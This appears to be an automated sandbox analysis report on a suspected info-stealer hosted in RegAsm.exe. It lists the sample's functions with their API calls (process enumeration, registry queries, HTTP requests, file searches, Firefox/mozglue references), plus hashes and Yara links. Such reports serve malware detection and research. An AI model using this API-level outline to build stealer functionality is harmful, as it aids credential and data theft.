Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 9f21ac8ec86b3675d1afdf3b7edf4d9d34f6618fc804e98a111b7a094f4869c7
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: 9f21ac8ec86b3675d1afdf3b7edf4d9d34f6618fc804e98a111b7a094f4869c7
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindCloseChangeNotification.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: c94bff1423a495308c6edbf30cda1505aa293fe0cec0639f5e0f22e09d93e3d2
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: c94bff1423a495308c6edbf30cda1505aa293fe0cec0639f5e0f22e09d93e3d2
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 004178A0 Relevance: 6.1, APIs: 4, Instructions: 58memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,00EBB048,00000000,00020119,?), ref: 004178FE
RegQueryValueExA.KERNEL32(?,00EC15E8,00000000,00000000,000000FF,000000FF), ref: 0041791F

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 6.0, APIs: 4, Instructions: 39memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00EBAB18,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,00EBAB18,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 169615bdedfb5d787f6769e60abd9e2f586505a8e698abf629eaea21fc03f8f6
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: 169615bdedfb5d787f6769e60abd9e2f586505a8e698abf629eaea21fc03f8f6
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,00EC27D8), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,00EC1E98,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414D53
ERROR, xrefs: 00414CFA

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: fe80463508e9785ce0865d585505720fad5e9a4802b6cc824f03bac98dc2300e
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: fe80463508e9785ce0865d585505720fad5e9a4802b6cc824f03bac98dc2300e
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 00414A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414A5A
lstrcat.KERNEL32(?,00421040), ref: 00414A77
lstrcat.KERNEL32(?,00EBAC78), ref: 00414A8B
lstrcat.KERNEL32(?,00421044), ref: 00414A9D

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: ce47f33bf402caccc6be46475f4cc83737c81dc5a568e004177fa1e081ddb6a0
Instruction ID: 8dbf70b05384144c92fb0b395b2fe843caac1dc39a8cdd365ca80c12b48963c0
Opcode Fuzzy Hash: ce47f33bf402caccc6be46475f4cc83737c81dc5a568e004177fa1e081ddb6a0
Instruction Fuzzy Hash: B6214F76A002086BC724FBA0EC42EDD373DAF94304F40845EB94A571D1EE7856C98BA5

Function 0040B370 Relevance: 4.9, APIs: 2, Strings: 1, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

h, xrefs: 0040B4E5

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmpmemset
String ID: h
API String ID: 4023347672-3415971826
Opcode ID: cb17c8205bf5f21648334730405b176066157aa3d3303cbc0751ca4b66dd21cc
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: cb17c8205bf5f21648334730405b176066157aa3d3303cbc0751ca4b66dd21cc
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 00414690 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,00EC1208), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00EC27B8), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Strings

5\A, xrefs: 0041470F, 00414744, 0041477A, 004147AF, 004147E5, 0041481A, 0041483F, 00414712, 00414747, 0041477D, 004147B2, 004147E8, 0041481D

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: 5\A
API String ID: 153043497-3392445751
Opcode ID: 9ecfcc41d05417c46be071f8fced7ba0760d7249d92c51be67bfcb983b9dd505
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: 9ecfcc41d05417c46be071f8fced7ba0760d7249d92c51be67bfcb983b9dd505
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 68EE3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 68EE3095

Part of subcall function 68EE35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(68F6F688,00001000), ref: 68EE35D5
Part of subcall function 68EE35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 68EE35E0
Part of subcall function 68EE35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 68EE35FD
Part of subcall function 68EE35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 68EE363F
Part of subcall function 68EE35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 68EE369F
Part of subcall function 68EE35A0: __aulldiv.LIBCMT ref: 68EE36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 68EE309F

Part of subcall function 68F05B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,68F056EE,?,00000001), ref: 68F05B85
Part of subcall function 68F05B50: EnterCriticalSection.KERNEL32(68F6F688,?,?,?,68F056EE,?,00000001), ref: 68F05B90
Part of subcall function 68F05B50: LeaveCriticalSection.KERNEL32(68F6F688,?,?,?,68F056EE,?,00000001), ref: 68F05BD8
Part of subcall function 68F05B50: GetTickCount64.KERNEL32 ref: 68F05BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 68EE30BE

Part of subcall function 68EE30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 68EE3127
Part of subcall function 68EE30F0: __aulldiv.LIBCMT ref: 68EE3140

Part of subcall function 68F1AB2A: __onexit.LIBCMT ref: 68F1AB30

Memory Dump Source

Source File: 0000000B.00000002.2435937113.0000000068EE1000.00000020.00000001.01000000.00000016.sdmp, Offset: 68EE0000, based on PE: true

Associated: 0000000B.00000002.2435908280.0000000068EE0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000B.00000002.2436376776.0000000068F5D000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000B.00000002.2436448916.0000000068F6E000.00000004.00000001.01000000.00000016.sdmpDownload File
